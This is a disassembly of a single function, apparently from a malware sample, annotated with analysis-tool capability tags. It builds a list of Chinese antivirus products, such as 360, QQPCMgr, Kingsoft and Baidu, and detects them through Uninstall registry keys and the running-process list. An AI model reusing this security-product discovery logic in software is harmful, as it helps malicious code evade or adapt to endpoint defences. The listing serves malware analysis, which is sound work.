Function at 0x409250
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Get installed programs
Query or enumerate registry key
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4225f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x238
mov eax, dword [0x42b48c]
push ebx
push esi
xor eax, ebp
push edi
xor ebx, ebx
xor edi, edi
mov dword [esp + 0x23c], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], edi
mov eax, 0x424a04
mov ecx, str.safeboxTray.exe
lea esi, [esp + 0x38]
mov dword [esp + 0x24c], ebx
mov byte [esp + 0x38], 0x6a
mov dword [esp + 0x3c], 0x425754
mov dword [esp + 0x40], str.ZhuDongFangYu.exe
mov byte [esp + 0x44], 0x6b
mov dword [esp + 0x48], str.360Desktop
mov dword [esp + 0x4c], str.360Desktop.exe
mov byte [esp + 0x50], 0x6c
mov dword [esp + 0x54], 0x425718
mov dword [esp + 0x58], ecx
mov byte [esp + 0x5c], 0x6d
mov dword [esp + 0x60], str.23F3F476_BE34_4f48_9C77_2806A8393EC4
mov dword [esp + 0x64], str.360se.exe
mov byte [esp + 0x68], 0x6e
mov dword [esp + 0x6c], str.360SD
mov dword [esp + 0x70], str.360sd.exe
mov byte [esp + 0x74], 0x6f
mov dword [esp + 0x78], str.QQPCMgr
mov dword [esp + 0x7c], str.QQPCRtp.exe
mov byte [esp + 0x80], 0x70
mov dword [esp + 0x84], str.Kingsoft_Internet_Security
mov dword [esp + 0x88], str.kxescore.exe
mov byte [esp + 0x8c], 0x71
mov dword [esp + 0x90], str.849B7E2B_0551_429C_B317_14B7D374D6EC_is1
mov dword [esp + 0x94], eax
mov byte [esp + 0x98], 0x72
mov dword [esp + 0x9c], 0x425658
mov dword [esp + 0xa0], str.ksafe.exe
mov byte [esp + 0xa4], 0x73
mov dword [esp + 0xa8], 0x42563c
mov dword [esp + 0xac], eax
mov byte [esp + 0xb0], 0x74
mov dword [esp + 0xb4], 0x425638
mov dword [esp + 0xb8], eax
mov byte [esp + 0xbc], 0x75
mov dword [esp + 0xc0], 0x425634
mov dword [esp + 0xc4], eax
mov byte [esp + 0xc8], 0x76
mov dword [esp + 0xcc], 0x425630
mov dword [esp + 0xd0], eax
mov byte [esp + 0xd4], 0x77
mov dword [esp + 0xd8], str.liebao
mov dword [esp + 0xdc], str.liebao.exe
mov byte [esp + 0xe0], 0x78
mov dword [esp + 0xe4], 0x425610
mov dword [esp + 0xe8], str.BaiduSdSvc.exe
mov byte [esp + 0xec], 0x79
mov dword [esp + 0xf0], 0x4255f4
mov dword [esp + 0xf4], str.BaiduAnSvc.exe
mov byte [esp + 0xf8], 0x7a
mov dword [esp + 0xfc], 0x4255d4
mov dword [esp + 0x100], ecx
mov byte [esp + 0x104], 0
mov dword [esp + 0x108], ebx
mov dword [esp + 0x10c], ebx
mov dword [esp + 0x1c], esi
jmp 0x409470
mov edi, dword [esp + 0x20]
nop
mov eax, dword [0x42c534]
mov ecx, 0x42c534
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x10], eax
mov ecx, dword [esi + 4]
push ecx
lea edx, [esp + 0x14]
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_s
push edx
mov byte [esp + 0x258], 1
call fcn.00408960
mov ecx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push 0x20019
push ebx
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x409576
xor eax, eax
cmp edi, ebx
je 0x4094d6
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x20], ecx
jne 0x409576
lea edx, [esp + 0x18]
push edx
push ebx
lea eax, [esp + 0x1c]
push eax
push ebx
push str.UninstallString
push ecx
mov dword [esp + 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x409576
mov eax, dword [esp + 0x14]
cmp eax, 1
je 0x409514
cmp eax, 2
jne 0x409576
cmp dword [esp + 0x18], ebx
jbe 0x409576
mov edi, dword [esp + 0x24]
mov eax, dword [edi + 0x44c]
mov ebx, dword [eax - 0xc]
mov edx, dword [eax - 4]
mov eax, dword [eax - 8]
add edi, 0x44c
lea esi, [ebx + 1]
mov ecx, 1
sub ecx, edx
sub eax, esi
or eax, ecx
jge 0x40954b
push esi
mov ecx, edi
call fcn.00404e20
test esi, esi
mov ecx, dword [esp + 0x1c]
mov eax, dword [edi]
mov cl, byte [ecx]
mov byte [eax + ebx], cl
jl 0x4099fe
mov eax, dword [edi]
cmp esi, dword [eax - 8]
jg 0x4099fe
mov dword [eax - 0xc], esi
mov edx, dword [edi]
mov byte [esi + edx], 0
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
add esi, 0xc
add eax, 0xfffffff0
mov dword [esp + 0x1c], esi
mov byte [esp + 0x24c], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4095a3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov al, byte [esi]
xor ebx, ebx
test al, al
jne 0x40946b
lea eax, [esp + 0x10]
push eax
push 0x20019
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x24], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40985e
mov ecx, dword [esp + 0x20]
xor eax, eax
cmp ecx, ebx
je 0x4095e7
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, ebx
mov edi, dword [esp + 0x10]
mov dword [esp + 0x20], edi
jne 0x40985e
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x34]
push ecx
push ebx
push ebx
push ebx
push edi
mov dword [esp + 0x48], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x40985e
mov eax, dword [esp + 0x18]
test eax, eax
jbe 0x40985e
jmp 0x409630
mov edi, dword [esp + 0x10]
jmp 0x409630
mov edx, dword [0x42c534]
mov ecx, 0x42c534
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x30], 0xff
mov eax, dword [esi - 4]
mov ecx, 1
sub ecx, eax
mov eax, dword [esi - 8]
sub eax, 0x100
or eax, ecx
mov byte [esp + 0x24c], 2
jge 0x40967d
push 0x100
lea ecx, [esp + 0x20]
call fcn.00404e20
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0
lea ecx, [esp + 0x40]
push ecx
push esi
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test esi, esi
jne 0x40969e
xor eax, eax
jmp 0x4096b2
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4096a3
sub eax, edx
js 0x4099fe
cmp eax, dword [esi - 8]
jg 0x4099fe
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
mov eax, dword [esi - 4]
mov edi, dword [esi - 0xc]
mov ecx, 1
sub ecx, eax
mov eax, dword [esi - 8]
sub eax, edi
or eax, ecx
jge 0x4096e6
push edi
lea ecx, [esp + 0x20]
call fcn.00404e20
mov esi, dword [esp + 0x1c]
push esi
call fcn.00416cc9
add esp, 4
test edi, edi
jl 0x4099fe
cmp edi, dword [esi - 8]
jg 0x4099fe
mov dword [esi - 0xc], edi
mov byte [edi + esi], 0
mov eax, dword [esi - 0xc]
test eax, eax
jl 0x409727
push 0x42554c
push esi
call fcn.00416586
add esp, 8
test eax, eax
je 0x409727
sub eax, esi
cmp eax, 0xffffffff
jne 0x40975b
add esi, 0xfffffff0
mov byte [esp + 0x24c], 0
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x409749
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call dword [edx + 4]
mov eax, dword [esp + 0x18]
inc ebx
cmp ebx, eax
jb 0x409627
jmp 0x40985e
xor edi, edi
mov dword [esp + 0x34], edi
mov eax, dword [0x42c534]
mov ecx, 0x42c534
mov byte [esp + 0x24c], 3
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x10], eax
push esi
lea ecx, [esp + 0x14]
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_s
push ecx
mov byte [esp + 0x258], 4
call fcn.00408960
mov ebx, dword [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0x20019
push edi
push ebx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x28], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40980f
mov edi, dword [esp + 0x14]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
push 0
lea ecx, [esp + 0x30]
push ecx
push 0
push str.UninstallString
push edi
mov dword [esp + 0x4c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40980f
mov eax, dword [esp + 0x28]
cmp eax, 1
je 0x4097f3
cmp eax, 2
jne 0x40980f
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x40980f
mov ecx, dword [esp + 0x24]
push 0x425548
add ecx, 0x44c
call fcn.00409140
lea eax, [ebx - 0x10]
mov byte [esp + 0x24c], 3
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x409831
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
test edi, edi
je 0x40983c
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esi, 0xfffffff0
mov byte [esp + 0x24c], 0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x40985e
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call dword [edx + 4]
xor eax, eax
push eax
mov dword [esp + 0x114], 0
mov ecx, 0x49
lea edi, [esp + 0x118]
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x28], esi
je 0x4099a9
lea eax, [esp + 0x110]
push eax
push esi
mov dword [esp + 0x118], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4099a2
xor edi, edi
mov dword [esp + 0x14], edi
jmp 0x4098c0
mov ecx, dword [esp + edi + 0x40]
push ecx
lea edx, [esp + 0x138]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x40996d
mov esi, dword [esp + 0x24]
mov eax, dword [esi + 0x44c]
mov ecx, dword [eax - 0xc]
add esi, 0x44c
test ecx, ecx
je 0x40991d
mov ecx, dword [eax - 0xc]
test ecx, ecx
jle 0x409913
movzx ecx, byte [esp + edi + 0x38]
push ecx
push eax
call fcn.0041640d
add esp, 8
test eax, eax
je 0x409913
sub eax, dword [esi]
cmp eax, 0xffffffff
jne 0x409988
mov dl, byte [esp + edi + 0x38]
mov byte [esp + 0xc], dl
jmp 0x409925
mov al, byte [esp + edi + 0x38]
mov byte [esp + 0xc], al
mov eax, dword [esi]
mov edx, dword [eax - 4]
mov ebx, dword [eax - 0xc]
mov ecx, 1
sub ecx, edx
mov edx, dword [eax - 8]
lea edi, [ebx + 1]
sub edx, edi
or ecx, edx
jge 0x409948
mov ecx, esi
push edi
call fcn.00404e20
test edi, edi
mov cl, byte [esp + 0xc]
mov eax, dword [esi]
mov byte [ebx + eax], cl
jl 0x4099fe
mov eax, dword [esi]
cmp edi, dword [eax - 8]
jg 0x4099fe
mov dword [eax - 0xc], edi
mov edx, dword [esi]
mov byte [edi + edx], 0
mov edi, dword [esp + 0x14]
inc edi
mov dword [esp + 0x14], edi
lea edi, [edi + edi*2]
shl edi, 2
mov al, byte [esp + edi + 0x38]
test al, al
jne 0x4098c0
mov esi, dword [esp + 0x28]
lea eax, [esp + 0x110]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4098b1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx + 0x44c]
mov eax, dword [edx - 0xc]
add ecx, 0x44c
test eax, eax
jne 0x4099cc
push 1
push 0x425544
call fcn.00405ea0
mov eax, dword [esp + 0x20]
test eax, eax
je 0x4099db
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x244]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x23c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00415d1a
mov esp, ebp
pop ebp
ret
push 0x80070057
call fcn.004011d0
int3